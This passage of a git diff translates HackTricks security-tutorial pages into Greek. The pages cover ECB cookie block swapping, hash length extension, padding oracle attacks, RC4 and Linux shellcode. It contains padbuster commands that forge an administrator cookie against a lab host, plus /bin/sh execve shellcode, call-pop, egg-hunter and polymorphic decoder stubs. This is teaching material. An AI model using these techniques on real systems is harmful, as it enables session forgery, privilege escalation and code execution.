---------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Εκμετάλλευση της ευπάθειας -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Αφαίρεση ολόκληρων μπλοκ +Γνωρίζοντας τη μορφή του cookie (`|`), προκειμένου να προσποιηθεί το όνομα χρήστη `admin`, δημιουργήστε έναν νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Μπορούμε να δούμε το μοτίβο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο `a`.\ +Στη συνέχεια, μπορείτε να αφαιρέσετε το πρώτο μπλοκ των 8B και θα αποκτήσετε ένα έγκυρο cookie για το όνομα χρήστη `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Μετακίνηση μπλοκ -## Moving blocks +Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητάς `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Έτσι, ένας άλλος τρόπος για να προσποιηθείς τον χρήστη `admin` θα ήταν να: -So, another way to impersonate the user `admin` would be to: +- Δημιουργήσεις ένα όνομα χρήστη που: `len() + len(` θα δημιουργήσει 2 μπλοκ των 8Bs. +- Στη συνέχεια, να δημιουργήσεις έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό μπλοκ που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Το cookie αυτού του χρήστη θα αποτελείται από 3 μπλοκ: τα πρώτα 2 είναι τα μπλοκ του ονόματος χρήστη + διαχωριστής και το τρίτο από τον κωδικό πρόσβασης (ο οποίος προσποιείται το όνομα χρήστη): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Στη συνέχεια, απλώς αντικατέστησε το πρώτο μπλοκ με το τελευταίο και θα προσποιείσαι τον χρήστη `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Αναφορές - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..d277a943e 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# Περίληψη της επίθεσης -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους) +- **Τα καθαρά δεδομένα** +- **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)** +- **Η προσθήκη είναι γνωστή** +- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης +- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**. -## How? +## Πώς; -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\ +Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Δημιουργήσει ένα MD5 από 64 "A"s +- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b +- Προσθέσει τη συμβολοσειρά "append" +- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"** -## **Tool** +## **Εργαλείο** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## Αναφορές -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..84e1f04b4 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} - # CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Σημειώστε πώς είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί** **κρυπτογράφησης** και ένα **IV**. # Message Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Καθώς η κρυπτογράφηση εκτελείται σε **σταθερούς** **μεγέθους** **μπλοκ**, η **padding** είναι συνήθως απαραίτητη στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\ +Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που είναι **απαραίτητα** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, η padding θα είναι `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**. # Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την padding. Κατά την καθαριότητα της padding, αν μια **μη έγκυρη padding προκαλεί μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**. ## How to exploit -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do - +Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας `paduster` καθορίζοντας την παράμετρο -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## Η θεωρία -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ. ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\ +Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\ +Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Αυτό μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσετε το C14, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\ +Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.** -## Detection of the vulnerability +## Ανίχνευση της ευπάθειας -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Εγγραφείτε και δημιουργήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\ +Εάν **συνδεθείτε πολλές φορές** και πάντα λαμβάνετε το **ίδιο cookie**, πιθανότατα υπάρχει **κάτι** **λάθος** στην εφαρμογή. Το **cookie που επιστρέφεται θα πρέπει να είναι μοναδικό** κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Τώρα, αν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\ +Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster. -## References +## Αναφορές - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..b0b8d61e5 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..cae53f055 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# Ευπάθειες Emails {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..04eb5d4ca 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +Δείτε διακοπές πυρήνα: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; καθαρίζουμε το eax\ +xor ebx, ebx ; ebx = 0 καθώς δεν υπάρχει επιχείρημα να περάσουμε\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; Εκτέλεση syscall -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> Μας επιστρέφει ένα .o\ +**ld assembly.o -o shellcodeout** —> Μας δίνει ένα εκτελέσιμο που σχηματίζεται από τον κώδικα συναρμολόγησης και μπορούμε να πάρουμε τους opcodes με **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Για να δούμε ότι είναι πράγματι η shellcode μας και να πάρουμε τους OpCodes +**Ελέγξτε ότι η shellcode λειτουργεί** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +Για να δούμε ότι οι κλήσεις συστήματος εκτελούνται σωστά, πρέπει να μεταγλωττίσουμε το προηγούμενο πρόγραμμα και οι κλήσεις συστήματος πρέπει να εμφανίζονται σε **strace ./PROGRAMA_COMPILADO**. -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +Όταν δημιουργούμε shellcodes, μπορούμε να κάνουμε ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον βάζει στο stack το EIP. Μετά από την εντολή call έχουμε βάλει το string που χρειαζόμαστε, οπότε με αυτό το EIP μπορούμε να δείξουμε στο string και επιπλέον να συνεχίσουμε την εκτέλεση του κώδικα. +ΕJ **ΚΟΛΠΟ (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - -**EJ usando el Stack(/bin/sh):** - +**EJ χρησιμοποιώντας το Stack(/bin/sh):** ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +Αποτελείται από έναν μικρό κώδικα που διασχίζει τις σελίδες μνήμης που σχετίζονται με μια διαδικασία αναζητώντας τη shellcode που είναι αποθηκευμένη εκεί (αναζητά κάποια υπογραφή που έχει τοποθετηθεί στη shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μόνο ένας μικρός χώρος για την έγχυση κώδικα. **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +Αποτελούνται από κωδικοποιημένα shells που έχουν έναν μικρό κώδικα που τα αποκωδικοποιεί και πηδά σε αυτόν, χρησιμοποιώντας το κόλπο Call-Pop αυτό θα ήταν ένα **παράδειγμα κωδικοποιημένο cesar**: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5. Συμπληρωματικές μέθοδοι** -## **5.Métodos complementarios** +**Τεχνική του Murat** -**Técnica de Murat** +Στο linux όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από 0xbfffffff -En linux todos los progamas se mapean comenzando en 0xbfffffff +Βλέποντας πώς κατασκευάζεται η στοίβα μιας νέας διαδικασίας στο linux, μπορεί να αναπτυχθεί ένα exploit με τέτοιο τρόπο ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον της οποίας η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτής μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(ΟΝΟΜΑ_εκτελέσιμου_αρχείου) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +Με αυτόν τον τρόπο θα αποκτηθεί απλά η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode. -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +Αυτό μπορεί να γίνει χάρη στο γεγονός ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που να έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμείτε. ## @@ -140,118 +130,118 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### **Format Strings to Buffer Overflows** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +Η **sprintf moves** μια μορφοποιημένη συμβολοσειρά **σε** μια **μεταβλητή.** Επομένως, θα μπορούσατε να εκμεταλλευτείτε τη **μορφοποίηση** μιας συμβολοσειράς για να προκαλέσετε μια **buffer overflow στη μεταβλητή** όπου αντιγράφεται το περιεχόμενο.\ +Για παράδειγμα, το payload `%.44xAAAA` θα **γράψει 44B+"AAAA" στη μεταβλητή**, κάτι που μπορεί να προκαλέσει μια buffer overflow. ### **\_\_atexit Structures** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**. -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση ενός **`exit()`** ή της **επιστροφής** της **κύριας**.\ +Εάν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode για παράδειγμα, θα **κερδίσετε έλεγχο** της **διαδικασίας**, αλλά αυτό είναι αυτή τη στιγμή πιο περίπλοκο.\ +Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε 